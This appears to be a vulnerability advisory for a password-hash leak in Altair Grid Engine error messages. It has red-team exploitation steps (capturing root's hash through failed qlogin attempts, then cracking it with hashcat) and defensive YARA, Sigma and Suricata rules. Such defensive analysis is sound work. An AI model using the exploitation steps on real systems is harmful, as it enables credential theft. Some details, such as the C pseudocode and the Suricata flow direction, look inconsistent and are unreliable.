CVE-2025-40760

Executive Summary

CVE-2025-40760 is a medium-severity information disclosure vulnerability affecting Altair Grid Engine (formerly Sun Grid Engine / SGE) versions prior to V2026.0.0. The flaw resides in the authentication error handling mechanism, where the application inadvertently includes sensitive password hash information in error messages returned to the user. A local attacker with low-privileged access to the system can exploit this to extract password hashes for privileged accounts (e.g., root or grid administrator). Once obtained, these hashes can be subjected to offline brute-force attacks, potentially leading to full system compromise. The vulnerability is currently unpatched for older versions, with the fix available only in the latest V2026.0.0 release. No public proof-of-concept (PoC) or exploit code has been released as of this analysis.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the Grid Engine host.
• Attack Complexity (AC): Low (L) – No special conditions are required; the vulnerability is triggered through normal authentication attempts.
• Privileges Required (PR): Low (L) – The attacker needs a valid low-privileged account on the system.
• User Interaction (UI): None (N) – The attack does not require any action from a privileged user.
• Scope (S): Unchanged (U) – The exploitation does not cross a trust boundary.
• Confidentiality (C): High (H) – Password hashes for privileged accounts are exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): None (N) – No impact on system availability.

CVSS Score: 5.5 (Medium)

Threat Level: Moderate. While the CVSS score is medium, the potential for privilege escalation via offline brute-force makes this a serious concern in shared or multi-tenant HPC environments.

Deep Dive & Mechanics

The vulnerability is rooted in the authentication module of Altair Grid Engine. When a user submits an authentication request (e.g., via qsub, qlogin, or the sge_qmaster daemon), the system validates credentials against a local or LDAP-backed password database. In vulnerable versions, if authentication fails, the error message returned to the client includes the stored password hash (typically a salted SHA-512 hash) of the target account. This is a classic case of CWE-209: Generation of Error Message Containing Sensitive Information.

Attack Flow:

1. The attacker gains a low-privileged shell on the Grid Engine host (e.g., via a compromised user account or a separate vulnerability).
2. The attacker crafts a series of authentication requests targeting privileged accounts (e.g., root, sgeadmin, gridadmin).
3. For each failed attempt, the Grid Engine daemon returns an error message containing the password hash of the targeted user.
4. The attacker collects these hashes and performs offline brute-force attacks using tools like hashcat or John the Ripper.
5. Upon cracking a hash, the attacker gains the plaintext password for the privileged account, enabling full system compromise.

Root Cause: The error handling code in the authentication path does not sanitize or redact sensitive fields before constructing the error message. Instead of returning a generic "Authentication failed" message, it includes the internal representation of the user record, which contains the password hash.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In authentication handler (e.g., sge_auth.c)
if (authenticate_user(username, password) == FAILURE) {
    // Fetch user record for error reporting
    user_record = get_user_record(username);
    // BUG: Includes password hash in error message
    snprintf(error_msg, sizeof(error_msg), "Authentication failed for user %s. Record: %s", username, user_record->to_string());
    send_error_to_client(error_msg);
}

Patched Code (Conceptual):

// In authentication handler (e.g., sge_auth.c)
if (authenticate_user(username, password) == FAILURE) {
    // Generic error message, no sensitive data
    snprintf(error_msg, sizeof(error_msg), "Authentication failed for user %s.", username);
    send_error_to_client(error_msg);
}

The patch removes the inclusion of the user record (which contains the password hash) from the error message, returning only a generic failure notice.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: Altair Grid Engine V2025.0.0 (vulnerable) running on Ubuntu 22.04.
• Attacker: Low-privileged user attacker with shell access to the Grid Engine host.

Step-by-Step Exploitation:

1. Identify Privileged Accounts:

   cat /etc/passwd | grep -E '^(root|sgeadmin|gridadmin):'
   

2. Craft Authentication Requests: Use the qstat or qlogin command with a deliberately wrong password to trigger the error message.

   qlogin -u root -p wrongpassword 2>&1
   

3. Extract Hash from Error Output: The error message will contain the password hash. For example:

   Authentication failed for user root. Record: {uid=0, gid=0, home=/root, shell=/bin/bash, password=$6$salt$hash...}
   

4. Offline Brute-Force: Save the hash to a file and crack it using hashcat:

   echo '$6$salt$hash...' > hash.txt
   hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor Authentication Logs: Look for repeated failed authentication attempts from the same user against multiple privileged accounts.

   grep "Authentication failed" /var/log/sge_qmaster/messages | awk '{print $NF}' | sort | uniq -c | sort -nr
   

2. Alert on Error Messages Containing Hashes: Deploy a log parser to detect error messages that contain patterns like password=$.

   grep -E 'password=\$[0-9]+\$' /var/log/sge_qmaster/messages
   

3. Network Monitoring: If authentication is performed over the network, monitor for unusual qlogin or qsub traffic from low-privileged accounts.

Response:

• Immediately isolate the affected host.
• Rotate passwords for all privileged accounts.
• Apply the patch by upgrading to V2026.0.0.
• Conduct a forensic analysis to determine if any hashes were exfiltrated.

Indicators of Compromise (IOCs)

• Log Entries: Error messages in /var/log/sge_qmaster/messages containing password=$ followed by a hash string.
• Network Traffic: Unusual authentication requests from low-privileged users to the Grid Engine master daemon (port 6444/tcp by default).
• File System: Presence of hash files (e.g., hash.txt) in user home directories or /tmp.
• Processes: Running instances of hashcat or john on the Grid Engine host.

Detection Engineering

YARA Rule

rule CVE_2025_40760_Altair_Grid_Engine_Hash_Leak {
    meta:
        description = "Detects error messages containing password hashes from Altair Grid Engine"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-40760"
    strings:
        $hash_pattern = /password=\$[0-9]+\$[A-Za-z0-9\/\.]{16,}/
        $error_prefix = "Authentication failed for user"
    condition:
        $error_prefix and $hash_pattern
}

Sigma Rule

title: CVE-2025-40760 - Altair Grid Engine Password Hash Leak
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects error messages from Altair Grid Engine that leak password hashes.
author: Valters IT
date: 2025/04/10
logsource:
    product: linux
    service: sge_qmaster
detection:
    selection:
        EventID: 1
        Message|contains: 'Authentication failed for user'
        Message|re: 'password=\$[0-9]+\$[A-Za-z0-9\/\.]{16,}'
    condition: selection
falsepositives:
    - Legitimate debugging sessions (rare)
level: high
tags:
    - attack.credential_access
    - cve.2025.40760

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 6444 (msg:"CVE-2025-40760 Altair Grid Engine Hash Leak Attempt"; flow:to_server,established; content:"Authentication failed for user"; content:"password=$"; within:200; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Altair Grid Engine to version V2026.0.0 or later. This is the only complete fix.
2. Workaround: If upgrading is not immediately possible, restrict local access to the Grid Engine host to only trusted users. Use iptables or firewalld to limit SSH access.
3. Password Rotation: Immediately rotate passwords for all privileged accounts (root, sgeadmin, etc.) on the affected system.

Long-Term Measures:

• Implement multi-factor authentication (MFA) for Grid Engine administrative access.
• Enable audit logging and monitor for the IOCs listed above.
• Conduct regular vulnerability scans of HPC infrastructure.
• Apply the principle of least privilege to all user accounts.

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